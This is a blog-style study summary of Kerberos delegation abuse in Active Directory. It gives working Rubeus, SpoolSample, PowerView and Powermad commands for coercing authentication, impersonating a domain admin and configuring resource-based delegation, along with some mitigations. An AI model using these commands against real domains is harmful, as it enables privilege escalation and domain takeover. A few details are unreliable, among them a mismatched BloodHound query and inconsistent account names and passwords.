A summary of Kerberos authentication and how to abuse various delegations in Active Directory context for privilege escalation and more.
Introduction
I’ve been studying Active Directory related attacks recently, and spent quite some time reading articles and practising Kerberos attacks.
At the same time, it’s been a while since I wrote a blog post, so here it comes…
This post has nothing novel. It’s just a summary of the many wonderful resources I came across online, so you hopefully don’t have to spend so much trouble hunting for a reason to why something works :)
That being said, you should still always cross refer to other sources.
Kerberos Authentication
Kerberos is one of the modern ways Windows devices perform authentication in a domain setting. It is a successor to NTLM, and it’s an upgrade in terms of security. In order to break Kerberos, we have to review how it works first.
Kerberos Authentication to a service consists of 3 steps:
- AS_REQ/AS_REP
- TGS_REQ/TGS_REP
- AP_REQ/AP_REP
and consists of 3 parties:
- Client
- KDC(Server)
- SPN Provider(AppServer)
Now you know why it’s called Kerberos
AS_REQ/AS_REP
Client sends an Authentication Server Request(AS_REQ
)(kerberos pre auth) that contains:
- a timestamp encrypted using currently the AES hash of the user’s password
- a username
When the Server receives the request, it looks up the hash associated with the username and tries to decrypt the time stamp.
If the server can decrypt the time stamp and the time stamp is not a duplicate, pre auth is successful.
Server replies with AS_REP
, containing:
- a session key
- a Ticket Granting Ticket(TGT
)
The session key encrypted using the Client’s password hash, thus the Client can decrypt, store in memory and reuse.TGT
contains info about the Client such as the Client’s group memberships, Client’s domain, a time stamp, IP of client and the session key.TGT
is encrypted by a secret key only known to the Server(password hash of krbtgt
account), and cannot be decrypted by Client.
Once Client receive the AS_REP
, Server considers Client auth to complete. The TGT
will be valid for 10 hours by default.
After which the Client will have to renew the ticket.
TGS_REQ/TGS_REP
When the Client wishes to access domain resources, such as network shares, exchange mailboxes or other services with a registered SPN, it must again contact the Server.
This time, the Client sends a Ticket Granting Service Request(TGS_REQ
) that consists of:
- a username
- a timestamp that is encrypted with the session key
- SPN of the resource
- TGT
(of course encrypted since the Client cannot decrypt it anyways)
The username and SPN is also collectively called the Authenticator
The Server receives this request.
If the SPN exists in the domain, TGT
is decrypted and session key is extracted from TGT
.
Session key is then used to decrypt the username and timestamp of the request.
The server checks that the TGT must have a valid timestamp, the username from TGS_REQ
must match username in TGT, and Client IP must coincide with TGT IP.
If all these passes, Server responds to Client with TGS_REP
, containing:
- SPN that is granted
- a new session key for use between Client and SPN
- a service ticket(ST
) containing Client username, group memberships and newly created session key.
The SPN and New Session Key are encrypted using the TGT
(old) session key, while the ST
is encrypted using password hash of the service account registered with the SPN.
Now the Client can authenticate with the SPN App Server.
AP_REQ/AP_REP
Client send to App Server an Application Request(AP_REQ
), which includes:
- a username
- a timestamp encrypted with the new session key
- ST
App Server decrypts ST
using service account password hash, extracts username and session key.
App Server then uses this session key to decrypt the username from AP_REQ
.
If both username matches, access is granted and permissions are assigned based on the group memberships contained in the ST
.
Now the Client can access the requested service.
Scenario
Domain: secure.local
DC: dc.secure.local
Compromised Account: secure.local\james
Domain Admin: secure.local\amy
Delegation
Delegation allows a user or a service to act on behalf of another user to another service.
A common implementation of this is where a user authenticates to a front-end web application that needs to pull data from a back-end database. The front-end application needs to authenticate to the back-end database (using Kerberos) as the user.
Unconstrained Delegation
This is set in the Delegation field of the computer’s properties as Trust this computer for delegation to any service
When a user requests a service on a computer with unconstrained delegation enabled, the KDC(Server in Kerberos Auth Theory) will save a copy of the user’s TGT
in the ST
sent to the computer(App Server).
That computer will then extract the TGT
from ST
and cache it in memory, in case it’s needed in the future, for delegating to other services.
An interesting aspect to unconstrained delegation is that it will cache the user’s TGT
regardless of which service is being accessed by the user.
So, if an admin accesses a file share or any other service on the machine that uses Kerberos, their TGT
will be cached.
If we can compromise a machine with unconstrained delegation, we can extract any TGTs from its memory and use them to impersonate the user against other services in the domain.
I say TGT
here, but the data we want to extract is NOT solely the TGT
, because without the session key, a TGT
is useless(review the theory section above).
Rubeus
/mimikatz
/kekeo
alike, parse the AP_REQ
and forms the KRB_CRED
structure(output as a .kirbi
file) which is an amalgamation of the session key, the TGT
, and a bunch of other bureaucratic data.
1 |
|
https://www.ietf.org/rfc/rfc4120.txt
This .kirbi
file is supported by many tools, also cobalt strike’s kerberos_ticket_use
command, and can be used to request ST
for any service.
Enumeration
To find unconstrain delegated machines using ADSearch:
1 | .\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem |
Using PowerView:
1 | Get-DomainComputer -Unconstrained -Properties CN, DnsHostName, operatingsystem, lastlogon, pwdlastset |
Using BloodHound:
1 | MATCH (u:User {dontreqpreauth:true}) RETURN u |
Let’s say we find a computer com1.secure.local
, that has unconstrained delegation enabled and is already compromised by us, we can attempt exploitation.
Exploitation
First we have to set up a “listener”, to automatically check if new TGTs are cached in our memory.
1 | .\Rubeus.exe monitor /targetuser:<USERNAME> /interval:10 /nowrap |
Where we monitor the specific username every 10 seconds, and don’t line wrap the base64 output so we can copy easily.
This command require elevation.
The goal now is to try to get a valuable target to authenticate to com1.secure.local
via Kerberos, so we can cache their TGT
in memory.
One way is to social engineer a domain user into performing authentication(let’s say by sending them an email/document that contains an image to a UNC path)
1 | <img src="\\com1.secure.local\pwn.png" height="1" width="1" /> |
This requires user interaction, and is not stealthy.
The better alternative if available, is to use one of the automatic triggers (https://github.com/cube0x0/SharpSystemTriggers).
I like the printer bug(https://github.com/leechristensen/SpoolSample), because it is unpatched on Windows Server 2016 and below, is enabled by default and can be accessed by regular domain users, and can even force domain controllers to authenticate to us.
Forcing an authentication is as easy as:
1 | .\SpoolSample.exe dc com1 |
If successful, our Rubeus monitoring should return the base64 encoded .kirbi
file contents, which contains the TGT
of the machine account dc$
.
Now even with the machine account’s TGT
, we can’t perform fileshare actions on the machine, because machines do not get local admin access to themselves over CIFS
.
What we can do is use S4U2Self
and request a TGS to ourselves:
1 | .\Rubeus.exe s4u /self /user:dc$ /impersonateuser:amy /ticket:<base64kirbi> /nowrap /targetdomain:secure.local /altservice:cifs/dc.secure.local |
Note how the /altservice
field has to contain the full msdsspn form, which is cifs/dc.secure.local
.
This is to simulate if we used ASN1editor
to rewrite the ticket manually.
If S4U2Self is foreign to you, skip this and read the next section on Constrained Delegation first.
Afterwards, we can save the ticket, make_token
and kerberos_ticket_use
.
Another bypass is to perform dcsync
(yes our machine account can do that), get a domain admin account, and get onto the DC that way.
Mitigations
Don’t allow unconstrained delegation!
Configure all admin/privileged accounts to be “Account is sensitive and cannot be delegated”
OR
Add sensitive accounts to the Protected Users group.
Patch those automatic trigger attacks.
Constrained Delegation
You might be wondering “Okay, now you ask me to disable unconstrained delegation. But how am I going to achieve delegation??”
Microsoft has answers to this:
By using Constrained Delegation instead.
Constrained delegation was released as a safer means for services to perform Kerberos delegation.
This is set in the Delegation field of the computer’s properties as Trust this computer for delegation to specific services only
Ignore the red box please
It aims to restrict the services to which the server can act on behalf of a user.
It no longer allows the server to cache the TGTs of other users, but allows it to request a ST
for another user with its own TGT
.
This sounds quite general, so let’s look at some theory first on how this works exactly.
Theory
There are some terms we have to understand.
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION(T2A4D
)
Service For User To Self(S4U2Self
)
Service For User To Proxy(S4U2Proxy
)
There are two types of constrained delegation allowed.
The first one is if Use Kerberos only is selected.
The second one is if Use any authentication protocol is selected.
If the second option is selected, the T2A4D
flag will be set on the account.
Along with the S4U2Self
extension, this allows for protocol transition.
For example, John authenticates to WebServer-1(svc_web user SPN), which does not support Kerberos.
In order for WebServer-1 to authenticate to backend database DB-1 via Kerberos, it has to go through proctocol transition, which is implemented by S4U2Self
.
S4U2Self
and T2A4D
allows the svc_web user to get a forwadable ST for John(any user in fact), despite not authenticating through Kerberos.
If T2A4D
is not set, the svc_web user can still get a ST, but it will not be forwardable!(still exploitable in some scenario, check Resource-Based Constrained Delegation section later!)
Thus, WebServer-1 requests a ST from the KDC for John, without requiring a password, as the svc_web user.
KDC checks for the T2A4D
flag, and checks if John is allowed to be delegated(not in Protected Users etc), and returns a forwadable ST if successful.
The ticket has to be forwadable, to be used with the S4U2Proxy
extension.
S4U2Proxy
allows this ticket to be used for the services specified in the msDS-AllowedToDelegateTo
attribute on the svc_web account.
So WebServer-1 passes the ST back to the KDC, and requests a ST for the database service.
If the database service is listed in the msDS-AllowedToDelegateTo
attribute on svc_web, a ST for the database service as John will be returned.
Thus, if we control the svc_web account and T2A4D
is set, we can impersonate any delegatable user in the domain for the services listed in the msDS-AllowedToDelegateTo
attribute, without a password!
If T2A4D
is not set(option 1), we can use the ST already cached on the computer to access those resources as that user, possibly lateral movement.
Alternatively, we can try Resource-Based Constrained Delegation attack, discussed in detail in the following section.
Enumeration
To find constrain delegated machines using ADSearch:
1 | .\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json |
To find constrain delegated machines using PowerView:
1 | Get-DomainComputer -TrustedToAuth -Properties CN, msds-allowedtodelegateto, useraccountcontrol | fl |
To find constrain delegated users using PowerView:
1 | Get-DomainUser -TrustedToAuth -Properties CN, msds-allowedtodelegateto, useraccountcontrol | fl |
In the useraccountcontrol
property of the output, we can see if T2A4D
is set and attack accordingly.
Exploitation with T2A4D:
To perform the delegation, we ultimately need the TGT
of the principal (machine or user) trusted for delegation, for which there are two main methods.
We can either use Rubeus dump
to try to dump it from memory, or request one with Rubeus asktgt
style.
After we get the TGT, we can talk about exploitation.
Let’s say we compromised the computer account com1.secure.local
that is allowed to delegate to cifs/dc.secure.local
.
1 | .\Rubeus.exe s4u /impersonateuser:amy /msdsspn:cifs/dc.secure.local /user:com1$ /ticket:<base64kirbi> /altservice:cifs /nowrap |
Where:/impersonateuser
is the user we want to impersonate./msdsspn
is the service principal name that COM1 is allowed to delegate to./user
is the principal allowed to perform the delegation./ticket
is the TGT for /user
./altservice
is the service we want to use.
/altservice
works because the service name is not validated(https://www.secureauth.com/blog/kerberos-delegation-spns-and-more/).
If we have constrained delegation to ldap/dc.secure.local
, we will specify /msdsspn:ldap/dc.secure.local
and /altservice:cifs
to get cifs on dc
.
Of course in the example above, altservice is not needed since we already have cifs.
By passing in the base64 kirbi blob, Rubeus helps us perform S4U2Self
and S4U2Proxy
, granting us a ST
for the CIFS
service on dc
as amy.
We can base64 decode and save to our disk, then make_token
and kerberos_ticket_use
.
Note: Make sure to always use the FQDN when performing actions with this ticket, or else an error will occur.
For example, even though our ticket is for CIFS, we can’t do a ls \\dc\c$
. Instead we should do ls \\dc.secure.local\c$
.
With CIFS, we can upload files also and start services, allowing psexec.
Quoting harmj0y(https://twitter.com/harmj0y):
For the HOST SPN this allows complete remote takeover.
For a MSSQLSvc SPN this would allow DBA rights.
A CIFS SPN would allow complete remote file access.
A HTTP SPN it would likely allow for the takeover of the remote webservice
LDAP SPN allows for DCSync
HTTP/SQL service accounts, even if they aren’t elevated admin on the target, can also possibly be abused with Rotten Potato to elevate rights to SYSTEM (though I haven’t tested this personally)
Resource-Based Constrained Delegation
Windows Server 2012 implemented a new type of delegation, Resource-Based Constrained Delegation, in response to some of the downsides of traditional constrained delegation.
Specifically, resource-based constrained delegation allows for delegation settings to be configured on the target service/resource instead of on the “front-end” account (i.e. the account configured with msDS-AllowedToDelegateTo settings in the traditional constrained delegation example.)
So if John accesses WebServer1, which accesses backend database DB1, DB1 can configure a RBCD such that it allows WebServer1 to access it, instead of WebServer1 whitelisting DB1 as in traditional constrained delegation.
The good thing about this feature is that you do not need huge admin privs to allow delegation, unlike Unconstrained Delegation or traditional Constrained Delegation.
GenericAll/GenericWrite/WriteDacl is all you need to configure RBCD.
We can use this feature to abuse a GenericWrite on a computer object into Escalated RCE, or mimic protocol transition(T2A4D in traditional constrained delegation).
Enumeration
We can use BloodHound to find GenericWrite, or https://gist.github.com/FatRodzianko/e4cf3efc68a700dca7cedbfd5c05c99f
Exploit GenericWrite(in fact GenericAll/GenericWrite/WriteDacl) to Escalated RCE
Overview:
We compromised the account James, which has GenericWrite over a computer dc.
John creates a new computer object called fake1.(no admin priv required)
John leverages GenericWrite on dc and updates its object’s attribute msDS-AllowedToActOnBehalfOfOtherIdentity
to enable fake1 to impersonate and authenticate any domain user that can then access the target system dc.
John uses fake1’s AES key to get a TGT, and then impersonate a domain admin to access dc like in traditional constrained delegation.
Profit.
By default, a domain member usually can add up to 10 computers to the domain.
To check this, we can query the root domain object and look for property ms-ds-machineaccountquota
In PowerView:
1 | Get-DomainObject dc.secure.local -Properties ms-ds-machineaccountquota |
We must also make sure the DC is at least Windows Server 2012, check with Get-DomainController -Domain secure.local
Finally, we import ActiveDirectory(if fail, get https://github.com/samratashok/ADModule) and use the inbuilt Get-ADComputer dc -Properties PrincipalsAllowedToDelegateToAccount
to take note if any delegation rules are already set, so we append to those/revert back after our modification.
If we can’t import ActiveDirectory, use powerview Get-DomainObject -Identity dc | select msds-allowedtoactonbehalfofotheridentity
to check.
To create a computer object, import https://github.com/Kevin-Robertson/Powermad
1 | New-MachineAccount -MachineAccount fake1 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose |
Confirm creation with Get-DomainComputer fake1
Of course, if we have already compromised an account with a SPN, we don’t have to create this computer account.
Now we have to modify dc such that its msDS-AllowedToActOnBehalfOfOtherIdentity
attribute allows fake1 to access it.
There are two ways to go about it.
If we don’t have access to the ActiveDirectory module:
We will have to update msDS-AllowedToActOnBehalfOfOtherIdentity
manually.
This property stores a security descriptors as binary format to dictate access to the account.
First we get the sid of our created/compromised account:
1 | Get-DomainComputer -Identity fake1 -Properties objectsid | Select -Expand objectsid |
(If we are using a compromised user SPN account then obviously Get-DomainUser)
Then we use this powershell one liner to create a binary security descriptor and set it on dc:
1 | $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<YOURSID>)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose |
The sddl string is no magic.
Following https://docs.microsoft.com/en-us/archive/blogs/askds/the-security-descriptor-definition-language-of-love-part-2 and https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format, we see that it means:
Set the Owner as Builtin Administrators (O:BA), which is by default.
Set a DACL with no flags(D:)
The DACL shall contain one ACE:
The ACE permits to do a bunch of things (CCDCLCSWRPWPDTLOCRSDRCWDWO) such as read, delete and a bunch more
This allows us to access any service (e.g cifs) on dc
)
The ACE applies to fake1’s SID, so fake1 can perform these things.
After applying, we check if it’s in place:
1 | $RBCDbytes = Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity ; $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0 ; $Descriptor.DiscretionaryAcl |
If we do have access to the ActiveDirectory module:
Use Set-ADComputer to allow fake1 to access resources of dc:
1 | Set-ADComputer dc -PrincipalsAllowedToDelegateToAccount (Get-ADComputer fake1) |
If there was already delegation rule set, do
1 | Set-ADComputer dc -PrincipalsAllowedToDelegateToAccount (Get-ADComputer <original account>),(Get-ADComputer fake1) |
Then Get-ADComputer dc -Properties
to confirm write.
Now we need to calculate the AES hash of our created computer account(since we know the password).
1 | .\Rubeus.exe hash /password:Password123! /user:fake1$ /domain:secure.local |
If this fails for whatever reason, only provide /password
field and use the returned rc4_hmac(ntlm) hash to asktgt.
If we used an account we compromised, we should have the AES hash already(hopefully).
With the hash, we can now request TGT and do the rubeus s4u command just like traditional constrained delegation.
Exploit mimic protocol transition
If dc
has a traditional constrained delegation to cifs\dc2.secure.local
that is kerberos only, we can still exploit it to impersonate any users for that service, just like if any authentication method is allowed.
Overview:
Follow the steps above to craft a forwadable ticket for any user, on the computer dc
.
Since dc
has constrained delegation to cifs\dc2.secure.local
, and we already have a forwadable ticket, we can directly use S4U2Proxy
.
1 | .\Rubeus.exe s4u /ticket:<base64kirbi> /msdsspn:"cifs/dc2.secure.local" /tgs:<TGS from previous step> /altservice:cifs /nowrap |
Where /ticket
is the TGT returned from step 1, after we provided AES hash of created account, and /tgs
is the forwadable ticket returned from step 1.
The result should be a ticket where we can impersonate any desired user on cifs\dc2.secure.local
.
Conclusion
Some real fun stuff, and are considered state of the art techniques about 4 years ago.
Check my references below for the amazing efforts done by these researchers.
I truly feel like “Standing on the shoulders of giants”.
References
- https://www.mandiant.com/resources/kerberos-tickets-on-linux-red-teams
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://github.com/GhostPack/Rubeus
- https://posts.specterops.io/another-word-on-delegation-10bdbe3cd94a
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
- https://www.secureauth.com/blog/kerberos-delegation-spns-and-more/